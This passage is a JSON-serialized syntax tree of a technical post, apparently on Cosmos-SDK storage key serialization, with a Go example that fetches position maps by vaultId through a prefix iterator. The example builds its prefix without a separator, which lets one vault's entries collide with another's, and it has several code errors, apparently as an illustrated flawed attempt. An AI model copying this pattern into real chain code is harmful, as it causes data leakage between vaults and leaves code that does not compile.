":158,"props":89166,"children":89167},{"style":222},[89168],{"type":29,"value":77694},{"type":24,"tag":158,"props":89170,"children":89171},{"style":496},[89172],{"type":29,"value":86842},{"type":24,"tag":158,"props":89174,"children":89175},{"style":188},[89176],{"type":29,"value":2156},{"type":24,"tag":158,"props":89178,"children":89179},{"class":160,"line":24990},[89180,89184,89188],{"type":24,"tag":158,"props":89181,"children":89182},{"style":188},[89183],{"type":29,"value":87733},{"type":24,"tag":158,"props":89185,"children":89186},{"style":171},[89187],{"type":29,"value":86043},{"type":24,"tag":158,"props":89189,"children":89190},{"style":188},[89191],{"type":29,"value":235},{"type":24,"tag":158,"props":89193,"children":89194},{"class":160,"line":25023},[89195,89199,89203,89207,89211,89215,89219,89223],{"type":24,"tag":158,"props":89196,"children":89197},{"style":177},[89198],{"type":29,"value":87749},{"type":24,"tag":158,"props":89200,"children":89201},{"style":188},[89202],{"type":29,"value":347},{"type":24,"tag":158,"props":89204,"children":89205},{"style":496},[89206],{"type":29,"value":86879},{"type":24,"tag":158,"props":89208,"children":89209},{"style":188},[89210],{"type":29,"value":504},{"type":24,"tag":158,"props":89212,"children":89213},{"style":496},[89214],{"type":29,"value":10726},{"type":24,"tag":158,"props":89216,"children":89217},{"style":188},[89218],{"type":29,"value":504},{"type":24,"tag":158,"props":89220,"children":89221},{"style":177},[89222],{"type":29,"value":86749},{"type":24,"tag":158,"props":89224,"children":89225},{"style":188},[89226],{"type":29,"value":86900},{"type":24,"tag":158,"props":89228,"children":89229},{"class":160,"line":25031},[89230],{"type":24,"tag":158,"props":89231,"children":89232},{"style":188},[89233],{"type":29,"value":25175},{"type":24,"tag":158,"props":89235,"children":89236},{"class":160,"line":25039},[89237,89241,89245,89249,89253,89257,89261,89265],{"type":24,"tag":158,"props":89238,"children":89239},{"style":177},[89240],{"type":29,"value":86870},{"type":24,"tag":158,"props":89242,"children":89243},{"style":188},[89244],{"type":29,"value":347},{"type":24,"tag":158,"props":89246,"children":89247},{"style":496},[89248],{"type":29,"value":86924},{"type":24,"tag":158,"props":89250,"children":89251},{"style":188},[89252],{"type":29,"value":504},{"type":24,"tag":158,"props":89254,"children":89255},{"style":177},[89256],{"type":29,"value":86833},{"type":24,"tag":158,"props":89258,"children":89259},{"style":188},[89260],{"type":29,"value":191},{"type":24,"tag":158,"props":89262,"children":89263},{"style":177},[89264],{"type":29,"value":86749},{"type":24,"tag":158,"props":89266,"children":89267},{"style":188},[89268],{"type":29,"value":2125},{"type":24,"tag":158,"props":89270,"children":89271},{"class":160,"line":25076},[89272],{"type":24,"tag":158,"props":89273,"children":89274},{"emptyLinePlaceholder":16},[89275],{"type":29,"value":481},{"type":24,"tag":158,"props":89277,"children":89278},{"class":160,"line":25089},[89279,89283,89287,89291],{"type":24,"tag":158,"props":89280,"children":89281},{"style":177},[89282],{"type":29,"value":88276},{"type":24,"tag":158,"props":89284,"children":89285},{"style":222},[89286],{"type":29,"value":77694},{"type":24,"tag":158,"props":89288,"children":89289},{"style":496},[89290],{"type":29,"value":86842},{"type":24,"tag":158,"props":89292,"children":89293},{"style":188},[89294],{"type":29,"value":2156},{"type":24,"tag":158,"props":89296,"children":89297},{"class":160,"line":25102},[89298,89302,89306],{"type":24,"tag":158,"props":89299,"children":89300},{"style":188},[89301],{"type":29,"value":87733},{"type":24,"tag":158,"props":89303,"children":89304},{"style":171},[89305],{"type":29,"value":86043},{"type":24,"tag":158,"props":89307,"children":89308},{"style":188},[89309],{"type":29,"value":235},{"type":24,"tag":158,"props":89311,"children":89312},{"class":160,"line":25115},[89313,89317,89321,89325,89329,89333,89337,89341],{"type":24,"tag":158,"props":89314,"children":89315},{"style":177},[89316],{"type":29,"value":87749},{"type":24,"tag":158,"props":89318,"children":89319},{"style":188},[89320],{"type":29,"value":347},{"type":24,"tag":158,"props":89322,"children":89323},{"style":496},[89324],{"type":29,"value":86879},{"type":24,"tag":158,"props":89326,"children":89327},{"style":188},[89328],{"type":29,"value":504},{"type":24,"tag":158,"props":89330,"children":89331},{"style":496},[89332],{"type":29,"value":10726},{"type":24,"tag":158,"props":89334,"children":89335},{"style":188},[89336],{"type":29,"value":504},{"type":24,"tag":158,"props":89338,"children":89339},{"style":177},[89340],{"type":29,"value":88119},{"type":24,"tag":158,"props":89342,"children":89343},{"style":188},[89344],{"type":29,"value":86900},{"type":24,"tag":158,"props":89346,"children":89347},{"class":160,"line":25169},[89348],{"type":24,"tag":158,"props":89349,"children":89350},{"style":188},[89351],{"type":29,"value":25175},{"type":24,"tag":158,"props":89353,"children":89354},{"class":160,"line":25178},[89355,89359,89363,89367,89371,89375,89379,89383],{"type":24,"tag":158,"props":89356,"children":89357},{"style":177},[89358],{"type":29,"value":86870},{"type":24,"tag":158,"props":89360,"children":89361},{"style":188},[89362],{"type":29,"value":347},{"type":24,"tag":158,"props":89364,"children":89365},{"style":496},[89366],{"type":29,"value":86924},{"type":24,"tag":158,"props":89368,"children":89369},{"style":188},[89370],{"type":29,"value":504},{"type":24,"tag":158,"props":89372,"children":89373},{"style":177},[89374],{"type":29,"value":88369},{"type":24,"tag":158,"props":89376,"children":89377},{"style":188},[89378],{"type":29,"value":191},{"type":24,"tag":158,"props":89380,"children":89381},{"style":177},[89382],{"type":29,"value":88119},{"type":24,"tag":158,"props":89384,"children":89385},{"style":188},[89386],{"type":29,"value":2125},{"type":24,"tag":158,"props":89388,"children":89389},{"class":160,"line":33542},[89390],{"type":24,"tag":158,"props":89391,"children":89392},{"emptyLinePlaceholder":16},[89393],{"type":29,"value":481},{"type":24,"tag":158,"props":89395,"children":89396},{"class":160,"line":33563},[89397,89401,89405,89409,89413,89417],{"type":24,"tag":158,"props":89398,"children":89399},{"style":177},[89400],{"type":29,"value":87953},{"type":24,"tag":158,"props":89402,"children":89403},{"style":222},[89404],{"type":29,"value":77694},{"type":24,"tag":158,"props":89406,"children":89407},{"style":177},[89408],{"type":29,"value":83512},{"type":24,"tag":158,"props":89410,"children":89411},{"style":188},[89412],{"type":29,"value":347},{"type":24,"tag":158,"props":89414,"children":89415},{"style":496},[89416],{"type":29,"value":86501},{"type":24,"tag":158,"props":89418,"children":89419},{"style":188},[89420],{"type":29,"value":2156},{"type":24,"tag":158,"props":89422,"children":89423},{"class":160,"line":82229},[89424,89428],{"type":24,"tag":158,"props":89425,"children":89426},{"style":1108},[89427],{"type":29,"value":88978},{"type":24,"tag":158,"props":89429,"children":89430},{"style":188},[89431],{"type":29,"value":235},{"type":24,"tag":158,"props":89433,"children":89434},{"class":160,"line":82242},[89435,89440],{"type":24,"tag":158,"props":89436,"children":89437},{"style":177},[89438],{"type":29,"value":89439}," AddressMapPrefix",{"type":24,"tag":158,"props":89441,"children":89442},{"style":188},[89443],{"type":29,"value":235},{"type":24,"tag":158,"props":89445,"children":89446},{"class":160,"line":82250},[89447,89451],{"type":24,"tag":158,"props":89448,"children":89449},{"style":177},[89450],{"type":29,"value":87993},{"type":24,"tag":158,"props":89452,"children":89453},{"style":188},[89454],{"type":29,"value":235},{"type":24,"tag":158,"props":89456,"children":89457},{"class":160,"line":82258},[89458,89462],{"type":24,"tag":158,"props":89459,"children":89460},{"style":177},[89461],{"type":29,"value":88005},{"type":24,"tag":158,"props":89463,"children":89464},{"style":188},[89465],{"type":29,"value":235},{"type":24,"tag":158,"props":89467,"children":89468},{"class":160,"line":82266},[89469,89473],{"type":24,"tag":158,"props":89470,"children":89471},{"style":177},[89472],{"type":29,"value":88017},{"type":24,"tag":158,"props":89474,"children":89475},{"style":188},[89476],{"type":29,"value":235},{"type":24,"tag":158,"props":89478,"children":89479},{"class":160,"line":82306},[89480,89484],{"type":24,"tag":158,"props":89481,"children":89482},{"style":177},[89483],{"type":29,"value":88005},{"type":24,"tag":158,"props":89485,"children":89486},{"style":188},[89487],{"type":29,"value":235},{"type":24,"tag":158,"props":89489,"children":89490},{"class":160,"line":82314},[89491,89495],{"type":24,"tag":158,"props":89492,"children":89493},{"style":177},[89494],{"type":29,"value":88478},{"type":24,"tag":158,"props":89496,"children":89497},{"style":188},[89498],{"type":29,"value":235},{"type":24,"tag":158,"props":89500,"children":89502},{"class":160,"line":89501},60,[89503],{"type":24,"tag":158,"props":89504,"children":89505},{"style":188},[89506],{"type":29,"value":25175},{"type":24,"tag":158,"props":89508,"children":89510},{"class":160,"line":89509},61,[89511],{"type":24,"tag":158,"props":89512,"children":89513},{"style":188},[89514],{"type":29,"value":307},{"type":24,"tag":25,"props":89516,"children":89517},{},[89518],{"type":29,"value":89519},"We now have a proper example of how to serialize storage keys.",{"type":24,"tag":25,"props":89521,"children":89522},{},[89523,89525,89530],{"type":29,"value":89524},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":24,"tag":154,"props":89526,"children":89528},{"className":89527},[],[89529],{"type":29,"value":68377},{"type":29,"value":89531},", data should still be retrievable through original keys.",{"type":24,"tag":25,"props":89533,"children":89534},{},[89535,89537,89543,89545,89550],{"type":29,"value":89536},"Let's look at a case where we want to retrieve all ",{"type":24,"tag":154,"props":89538,"children":89540},{"className":89539},[],[89541],{"type":29,"value":89542},"map[Username]map[PositionName]Position",{"type":29,"value":89544}," associated with a ",{"type":24,"tag":154,"props":89546,"children":89548},{"className":89547},[],[89549],{"type":29,"value":86413},{"type":29,"value":89551}," from the storage. How can we safely accomplish this?",{"type":24,"tag":25,"props":89553,"children":89554},{},[89555,89557,89562,89564,89570],{"type":29,"value":89556},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":24,"tag":154,"props":89558,"children":89560},{"className":89559},[],[89561],{"type":29,"value":86484},{"type":29,"value":89563}," prefix. Below is an example of an attempt to fetch data with ",{"type":24,"tag":154,"props":89565,"children":89567},{"className":89566},[],[89568],{"type":29,"value":89569},"vaultId",{"type":29,"value":225},{"type":24,"tag":147,"props":89572,"children":89574},{"code":89573,"language":77442,"meta":7,"className":77443,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[89575],{"type":24,"tag":154,"props":89576,"children":89577},{"__ignoreMap":7},[89578,89594,89609,89658,89710,89739,89751,89797,89804,89850,89905,89912,89976,90037,90060,90079,90086,90093,90153,90212,90235,90254,90261,90268,90321,90369,90376,90383,90423,90452,90459,90466,90478],{"type":24,"tag":158,"props":89579,"children":89580},{"class":160,"line":161},[89581,89585,89590],{"type":24,"tag":158,"props":89582,"children":89583},{"style":165},[89584],{"type":29,"value":77578},{"type":24,"tag":158,"props":89586,"children":89587},{"style":496},[89588],{"type":29,"value":89589}," FetchPositionMapWithVaultId",{"type":24,"tag":158,"props":89591,"children":89592},{"style":188},[89593],{"type":29,"value":2156},{"type":24,"tag":158,"props":89595,"children":89596},{"class":160,"line":213},[89597,89601,89605],{"type":24,"tag":158,"props":89598,"children":89599},{"style":177},[89600],{"type":29,"value":86525},{"type":24,"tag":158,"props":89602,"children":89603},{"style":171},[89604],{"type":29,"value":77699},{"type":24,"tag":158,"props":89606,"children":89607},{"style":188},[89608],{"type":29,"value":235},{"type":24,"tag":158,"props":89610,"children":89611},{"class":160,"line":238},[89612,89617,89621,89625,89629,89633,89637,89641,89645,89649,89654],{"type":24,"tag":158,"props":89613,"children":89614},{"style":188},[89615],{"type":29,"value":89616},") ([]",{"type":24,"tag":158,"props":89618,"children":89619},{"style":165},[89620],{"type":29,"value":68377},{"type":24,"tag":158,"props":89622,"children":89623},{"style":188},[89624],{"type":29,"value":2048},{"type":24,"tag":158,"props":89626,"children":89627},{"style":171},[89628],{"type":29,"value":86430},{"type":24,"tag":158,"props":89630,"children":89631},{"style":188},[89632],{"type":29,"value":16646},{"type":24,"tag":158,"props":89634,"children":89635},{"style":165},[89636],{"type":29,"value":68377},{"type":24,"tag":158,"props":89638,"children":89639},{"style":188},[89640],{"type":29,"value":2048},{"type":24,"tag":158,"props":89642,"children":89643},{"style":171},[89644],{"type":29,"value":86447},{"type":24,"tag":158,"props":89646,"children":89647},{"style":188},[89648],{"type":29,"value":16646},{"type":24,"tag":158,"props":89650,"children":89651},{"style":171},[89652],{"type":29,"value":89653},"Position",{"type":24,"tag":158,"props":89655,"children":89656},{"style":188},[89657],{"type":29,"value":16038},{"type":24,"tag":158,"props":89659,"children":89660},{"class":160,"line":259},[89661,89666,89670,89674,89678,89682,89686,89690,89694,89698,89702,89706],{"type":24,"tag":158,"props":89662,"children":89663},{"style":177},[89664],{"type":29,"value":89665}," values",{"type":24,"tag":158,"props":89667,"children":89668},{"style":222},[89669],{"type":29,"value":77694},{"type":24,"tag":158,"props":89671,"children":89672},{"style":165},[89673],{"type":29,"value":50940},{"type":24,"tag":158,"props":89675,"children":89676},{"style":188},[89677],{"type":29,"value":2048},{"type":24,"tag":158,"props":89679,"children":89680},{"style":171},[89681],{"type":29,"value":86430},{"type":24,"tag":158,"props":89683,"children":89684},{"style":188},[89685],{"type":29,"value":16646},{"type":24,"tag":158,"props":89687,"children":89688},{"style":165},[89689],{"type":29,"value":68377},{"type":24,"tag":158,"props":89691,"children":89692},{"style":188},[89693],{"type":29,"value":2048},{"type":24,"tag":158,"props":89695,"children":89696},{"style":171},[89697],{"type":29,"value":86447},{"type":24,"tag":158,"props":89699,"children":89700},{"style":188},[89701],{"type":29,"value":16646},{"type":24,"tag":158,"props":89703,"children":89704},{"style":171},[89705],{"type":29,"value":89653},{"type":24,"tag":158,"props":89707,"children":89708},{"style":188},[89709],{"type":29,"value":79375},{"type":24,"tag":158,"props":89711,"children":89712},{"class":160,"line":280},[89713,89718,89722,89726,89730,89735],{"type":24,"tag":158,"props":89714,"children":89715},{"style":177},[89716],{"type":29,"value":89717}," i",{"type":24,"tag":158,"props":89719,"children":89720},{"style":222},[89721],{"type":29,"value":77694},{"type":24,"tag":158,"props":89723,"children":89724},{"style":177},[89725],{"type":29,"value":79919},{"type":24,"tag":158,"props":89727,"children":89728},{"style":188},[89729],{"type":29,"value":347},{"type":24,"tag":158,"props":89731,"children":89732},{"style":496},[89733],{"type":29,"value":89734},"KVStorePrefixIterator",{"type":24,"tag":158,"props":89736,"children":89737},{"style":188},[89738],{"type":29,"value":2156},{"type":24,"tag":158,"props":89740,"children":89741},{"class":160,"line":301},[89742,89747],{"type":24,"tag":158,"props":89743,"children":89744},{"style":177},[89745],{"type":29,"value":89746}," kvStore",{"type":24,"tag":158,"props":89748,"children":89749},{"style":188},[89750],{"type":29,"value":235},{"type":24,"tag":158,"props":89752,"children":89753},{"class":160,"line":626},[89754,89759,89763,89767,89771,89776,89780,89785,89789,89793],{"type":24,"tag":158,"props":89755,"children":89756},{"style":177},[89757],{"type":29,"value":89758}," fmt",{"type":24,"tag":158,"props":89760,"children":89761},{"style":188},[89762],{"type":29,"value":347},{"type":24,"tag":158,"props":89764,"children":89765},{"style":496},[89766],{"type":29,"value":86501},{"type":24,"tag":158,"props":89768,"children":89769},{"style":188},[89770],{"type":29,"value":504},{"type":24,"tag":158,"props":89772,"children":89773},{"style":1108},[89774],{"type":29,"value":89775},"\"%s%d\"",{"type":24,"tag":158,"props":89777,"children":89778},{"style":188},[89779],{"type":29,"value":191},{"type":24,"tag":158,"props":89781,"children":89782},{"style":177},[89783],{"type":29,"value":89784},"PositionMapPrefix",{"type":24,"tag":158,"props":89786,"children":89787},{"style":188},[89788],{"type":29,"value":191},{"type":24,"tag":158,"props":89790,"children":89791},{"style":177},[89792],{"type":29,"value":89569},{"type":24,"tag":158,"props":89794,"children":89795},{"style":188},[89796],{"type":29,"value":2125},{"type":24,"tag":158,"props":89798,"children":89799},{"class":160,"line":668},[89800],{"type":24,"tag":158,"props":89801,"children":89802},{"style":188},[89803],{"type":29,"value":25175},{"type":24,"tag":158,"props":89805,"children":89806},{"class":160,"line":676},[89807,89811,89816,89820,89824,89829,89833,89837,89841,89846],{"type":24,"tag":158,"props":89808,"children":89809},{"style":1914},[89810],{"type":29,"value":4702},{"type":24,"tag":158,"props":89812,"children":89813},{"style":188},[89814],{"type":29,"value":89815}," ; ",{"type":24,"tag":158,"props":89817,"children":89818},{"style":177},[89819],{"type":29,"value":1832},{"type":24,"tag":158,"props":89821,"children":89822},{"style":188},[89823],{"type":29,"value":347},{"type":24,"tag":158,"props":89825,"children":89826},{"style":496},[89827],{"type":29,"value":89828},"Valid",{"type":24,"tag":158,"props":89830,"children":89831},{"style":188},[89832],{"type":29,"value":29706},{"type":24,"tag":158,"props":89834,"children":89835},{"style":177},[89836],{"type":29,"value":1832},{"type":24,"tag":158,"props":89838,"children":89839},{"style":188},[89840],{"type":29,"value":347},{"type":24,"tag":158,"props":89842,"children":89843},{"style":496},[89844],{"type":29,"value":89845},"Next",{"type":24,"tag":158,"props":89847,"children":89848},{"style":188},[89849],{"type":29,"value":16972},{"type":24,"tag":158,"props":89851,"children":89852},{"class":160,"line":684},[89853,89858,89862,89867,89871,89875,89879,89883,89887,89892,89896,89901],{"type":24,"tag":158,"props":89854,"children":89855},{"style":177},[89856],{"type":29,"value":89857}," k",{"type":24,"tag":158,"props":89859,"children":89860},{"style":222},[89861],{"type":29,"value":77694},{"type":24,"tag":158,"props":89863,"children":89864},{"style":177},[89865],{"type":29,"value":89866}," strings",{"type":24,"tag":158,"props":89868,"children":89869},{"style":188},[89870],{"type":29,"value":347},{"type":24,"tag":158,"props":89872,"children":89873},{"style":496},[89874],{"type":29,"value":71318},{"type":24,"tag":158,"props":89876,"children":89877},{"style":188},[89878],{"type":29,"value":504},{"type":24,"tag":158,"props":89880,"children":89881},{"style":177},[89882],{"type":29,"value":1832},{"type":24,"tag":158,"props":89884,"children":89885},{"style":188},[89886],{"type":29,"value":347},{"type":24,"tag":158,"props":89888,"children":89889},{"style":496},[89890],{"type":29,"value":89891},"Key",{"type":24,"tag":158,"props":89893,"children":89894},{"style":188},[89895],{"type":29,"value":19615},{"type":24,"tag":158,"props":89897,"children":89898},{"style":177},[89899],{"type":29,"value":89900},"Seperator",{"type":24,"tag":158,"props":89902,"children":89903},{"style":188},[89904],{"type":29,"value":2125},{"type":24,"tag":158,"props":89906,"children":89907},{"class":160,"line":700},[89908],{"type":24,"tag":158,"props":89909,"children":89910},{"emptyLinePlaceholder":16},[89911],{"type":29,"value":481},{"type":24,"tag":158,"props":89913,"children":89914},{"class":160,"line":785},[89915,89920,89924,89928,89933,89937,89941,89945,89949,89954,89958,89963,89967,89971],{"type":24,"tag":158,"props":89916,"children":89917},{"style":177},[89918],{"type":29,"value":89919}," username",{"type":24,"tag":158,"props":89921,"children":89922},{"style":222},[89923],{"type":29,"value":77694},{"type":24,"tag":158,"props":89925,"children":89926},{"style":496},[89927],{"type":29,"value":86842},{"type":24,"tag":158,"props":89929,"children":89930},{"style":188},[89931],{"type":29,"value":89932},"([]",{"type":24,"tag":158,"props":89934,"children":89935},{"style":171},[89936],{"type":29,"value":86043},{"type":24,"tag":158,"props":89938,"children":89939},{"style":188},[89940],{"type":29,"value":191},{"type":24,"tag":158,"props":89942,"children":89943},{"style":177},[89944],{"type":29,"value":86915},{"type":24,"tag":158,"props":89946,"children":89947},{"style":188},[89948],{"type":29,"value":347},{"type":24,"tag":158,"props":89950,"children":89951},{"style":496},[89952],{"type":29,"value":89953},"DecodedLen",{"type":24,"tag":158,"props":89955,"children":89956},{"style":188},[89957],{"type":29,"value":504},{"type":24,"tag":158,"props":89959,"children":89960},{"style":177},[89961],{"type":29,"value":89962},"k",{"type":24,"tag":158,"props":89964,"children":89965},{"style":188},[89966],{"type":29,"value":2048},{"type":24,"tag":158,"props":89968,"children":89969},{"style":465},[89970],{"type":29,"value":5682},{"type":24,"tag":158,"props":89972,"children":89973},{"style":188},[89974],{"type":29,"value":89975},"]))\n",{"type":24,"tag":158,"props":89977,"children":89978},{"class":160,"line":1447},[89979,89983,89987,89991,89995,90000,90004,90009,90013,90017,90021,90025,90029,90033],{"type":24,"tag":158,"props":89980,"children":89981},{"style":177},[89982],{"type":29,"value":29005},{"type":24,"tag":158,"props":89984,"children":89985},{"style":188},[89986],{"type":29,"value":191},{"type":24,"tag":158,"props":89988,"children":89989},{"style":177},[89990],{"type":29,"value":49691},{"type":24,"tag":158,"props":89992,"children":89993},{"style":222},[89994],{"type":29,"value":77694},{"type":24,"tag":158,"props":89996,"children":89997},{"style":177},[89998],{"type":29,"value":89999}," hex",{"type":24,"tag":158,"props":90001,"children":90002},{"style":188},[90003],{"type":29,"value":347},{"type":24,"tag":158,"props":90005,"children":90006},{"style":496},[90007],{"type":29,"value":90008},"Decode",{"type":24,"tag":158,"props":90010,"children":90011},{"style":188},[90012],{"type":29,"value":504},{"type":24,"tag":158,"props":90014,"children":90015},{"style":177},[90016],{"type":29,"value":86749},{"type":24,"tag":158,"props":90018,"children":90019},{"style":188},[90020],{"type":29,"value":191},{"type":24,"tag":158,"props":90022,"children":90023},{"style":177},[90024],{"type":29,"value":89962},{"type":24,"tag":158,"props":90026,"children":90027},{"style":188},[90028],{"type":29,"value":2048},{"type":24,"tag":158,"props":90030,"children":90031},{"style":465},[90032],{"type":29,"value":5682},{"type":24,"tag":158,"props":90034,"children":90035},{"style":188},[90036],{"type":29,"value":56713},{"type":24,"tag":158,"props":90038,"children":90039},{"class":160,"line":1509},[90040,90044,90048,90052,90056],{"type":24,"tag":158,"props":90041,"children":90042},{"style":1914},[90043],{"type":29,"value":4936},{"type":24,"tag":158,"props":90045,"children":90046},{"style":177},[90047],{"type":29,"value":49792},{"type":24,"tag":158,"props":90049,"children":90050},{"style":222},[90051],{"type":29,"value":65661},{"type":24,"tag":158,"props":90053,"children":90054},{"style":165},[90055],{"type":29,"value":83196},{"type":24,"tag":158,"props":90057,"children":90058},{"style":188},[90059],{"type":29,"value":210},{"type":24,"tag":158,"props":90061,"children":90062},{"class":160,"line":1527},[90063,90067,90071,90075],{"type":24,"tag":158,"props":90064,"children":90065},{"style":1914},[90066],{"type":29,"value":80354},{"type":24,"tag":158,"props":90068,"children":90069},{"style":165},[90070],{"type":29,"value":83196},{"type":24,"tag":158,"props":90072,"children":90073},{"style":188},[90074],{"type":29,"value":191},{"type":24,"tag":158,"props":90076,"children":90077},{"style":177},[90078],{"type":29,"value":84917},{"type":24,"tag":158,"props":90080,"children":90081},{"class":160,"line":1545},[90082],{"type":24,"tag":158,"props":90083,"children":90084},{"style":188},[90085],{"type":29,"value":5010},{"type":24,"tag":158,"props":90087,"children":90088},{"class":160,"line":1618},[90089],{"type":24,"tag":158,"props":90090,"children":90091},{"emptyLinePlaceholder":16},[90092],{"type":29,"value":481},{"type":24,"tag":158,"props":90094,"children":90095},{"class":160,"line":1635},[90096,90101,90105,90109,90113,90117,90121,90125,90129,90133,90137,90141,90145,90149],{"type":24,"tag":158,"props":90097,"children":90098},{"style":177},[90099],{"type":29,"value":90100}," positionName",{"type":24,"tag":158,"props":90102,"children":90103},{"style":222},[90104],{"type":29,"value":77694},{"type":24,"tag":158,"props":90106,"children":90107},{"style":496},[90108],{"type":29,"value":86842},{"type":24,"tag":158,"props":90110,"children":90111},{"style":188},[90112],{"type":29,"value":89932},{"type":24,"tag":158,"props":90114,"children":90115},{"style":171},[90116],{"type":29,"value":86043},{"type":24,"tag":158,"props":90118,"children":90119},{"style":188},[90120],{"type":29,"value":191},{"type":24,"tag":158,"props":90122,"children":90123},{"style":177},[90124],{"type":29,"value":86915},{"type":24,"tag":158,"props":90126,"children":90127},{"style":188},[90128],{"type":29,"value":347},{"type":24,"tag":158,"props":90130,"children":90131},{"style":496},[90132],{"type":29,"value":89953},{"type":24,"tag":158,"props":90134,"children":90135},{"style":188},[90136],{"type":29,"value":504},{"type":24,"tag":158,"props":90138,"children":90139},{"style":177},[90140],{"type":29,"value":89962},{"type":24,"tag":158,"props":90142,"children":90143},{"style":188},[90144],{"type":29,"value":2048},{"type":24,"tag":158,"props":90146,"children":90147},{"style":465},[90148],{"type":29,"value":5672},{"type":24,"tag":158,"props":90150,"children":90151},{"style":188},[90152],{"type":29,"value":89975},{"type":24,"tag":158,"props":90154,"children":90155},{"class":160,"line":1644},[90156,90160,90164,90168,90172,90176,90180,90184,90188,90192,90196,90200,90204,90208],{"type":24,"tag":158,"props":90157,"children":90158},{"style":177},[90159],{"type":29,"value":29005},{"type":24,"tag":158,"props":90161,"children":90162},{"style":188},[90163],{"type":29,"value":191},{"type":24,"tag":158,"props":90165,"children":90166},{"style":177},[90167],{"type":29,"value":49691},{"type":24,"tag":158,"props":90169,"children":90170},{"style":222},[90171],{"type":29,"value":77694},{"type":24,"tag":158,"props":90173,"children":90174},{"style":177},[90175],{"type":29,"value":89999},{"type":24,"tag":158,"props":90177,"children":90178},{"style":188},[90179],{"type":29,"value":347},{"type":24,"tag":158,"props":90181,"children":90182},{"style":496},[90183],{"type":29,"value":90008},{"type":24,"tag":158,"props":90185,"children":90186},{"style":188},[90187],{"type":29,"value":504},{"type":24,"tag":158,"props":90189,"children":90190},{"style":177},[90191],{"type":29,"value":87018},{"type":24,"tag":158,"props":90193,"children":90194},{"style":188},[90195],{"type":29,"value":191},{"type":24,"tag":158,"props":90197,"children":90198},{"style":177},[90199],{"type":29,"value":89962},{"type":24,"tag":158,"props":90201,"children":90202},{"style":188},[90203],{"type":29,"value":2048},{"type":24,"tag":158,"props":90205,"children":90206},{"style":465},[90207],{"type":29,"value":5672},{"type":24,"tag":158,"props":90209,"children":90210},{"style":188},[90211],{"type":29,"value":56713},{"type":24,"tag":158,"props":90213,"children":90214},{"class":160,"line":1652},[90215,90219,90223,90227,90231],{"type":24,"tag":158,"props":90216,"children":90217},{"style":1914},[90218],{"type":29,"value":4936},{"type":24,"tag":158,"props":90220,"children":90221},{"style":177},[90222],{"type":29,"value":49792},{"type":24,"tag":158,"props":90224,"children":90225},{"style":222},[90226],{"type":29,"value":65661},{"type":24,"tag":158,"props":90228,"children":90229},{"style":165},[90230],{"type":29,"value":83196},{"type":24,"tag":158,"props":90232,"children":90233},{"style":188},[90234],{"type":29,"value":210},{"type":24,"tag":158,"props":90236,"children":90237},{"class":160,"line":1704},[90238,90242,90246,90250],{"type":24,"tag":158,"props":90239,"children":90240},{"style":1914},[90241],{"type":29,"value":80354},{"type":24,"tag":158,"props":90243,"children":90244},{"style":165},[90245],{"type":29,"value":83196},{"type":24,"tag":158,"props":90247,"children":90248},{"style":188},[90249],{"type":29,"value":191},{"type":24,"tag":158,"props":90251,"children":90252},{"style":177},[90253],{"type":29,"value":84917},{"type":24,"tag":158,"props":90255,"children":90256},{"class":160,"line":1713},[90257],{"type":24,"tag":158,"props":90258,"children":90259},{"style":188},[90260],{"type":29,"value":5010},{"type":24,"tag":158,"props":90262,"children":90263},{"class":160,"line":1731},[90264],{"type":24,"tag":158,"props":90265,"children":90266},{"emptyLinePlaceholder":16},[90267],{"type":29,"value":481},{"type":24,"tag":158,"props":90269,"children":90270},{"class":160,"line":5485},[90271,90275,90279,90283,90287,90291,90296,90300,90304,90309,90313,90317],{"type":24,"tag":158,"props":90272,"children":90273},{"style":1914},[90274],{"type":29,"value":4936},{"type":24,"tag":158,"props":90276,"children":90277},{"style":177},[90278],{"type":29,"value":63916},{"type":24,"tag":158,"props":90280,"children":90281},{"style":188},[90282],{"type":29,"value":191},{"type":24,"tag":158,"props":90284,"children":90285},{"style":177},[90286],{"type":29,"value":80045},{"type":24,"tag":158,"props":90288,"children":90289},{"style":222},[90290],{"type":29,"value":77694},{"type":24,"tag":158,"props":90292,"children":90293},{"style":177},[90294],{"type":29,"value":90295}," values",{"type":24,"tag":158,"props":90297,"children":90298},{"style":188},[90299],{"type":29,"value":2048},{"type":24,"tag":158,"props":90301,"children":90302},{"style":177},[90303],{"type":29,"value":86749},{"type":24,"tag":158,"props":90305,"children":90306},{"style":188},[90307],{"type":29,"value":90308},"]; ",{"type":24,"tag":158,"props":90310,"children":90311},{"style":222},[90312],{"type":29,"value":21865},{"type":24,"tag":158,"props":90314,"children":90315},{"style":177},[90316],{"type":29,"value":80045},{"type":24,"tag":158,"props":90318,"children":90319},{"style":188},[90320],{"type":29,"value":210},{"type":24,"tag":158,"props":90322,"children":90323},{"class":160,"line":5493},[90324,90329,90333,90337,90341,90345,90349,90353,90357,90361,90365],{"type":24,"tag":158,"props":90325,"children":90326},{"style":177},[90327],{"type":29,"value":90328}," 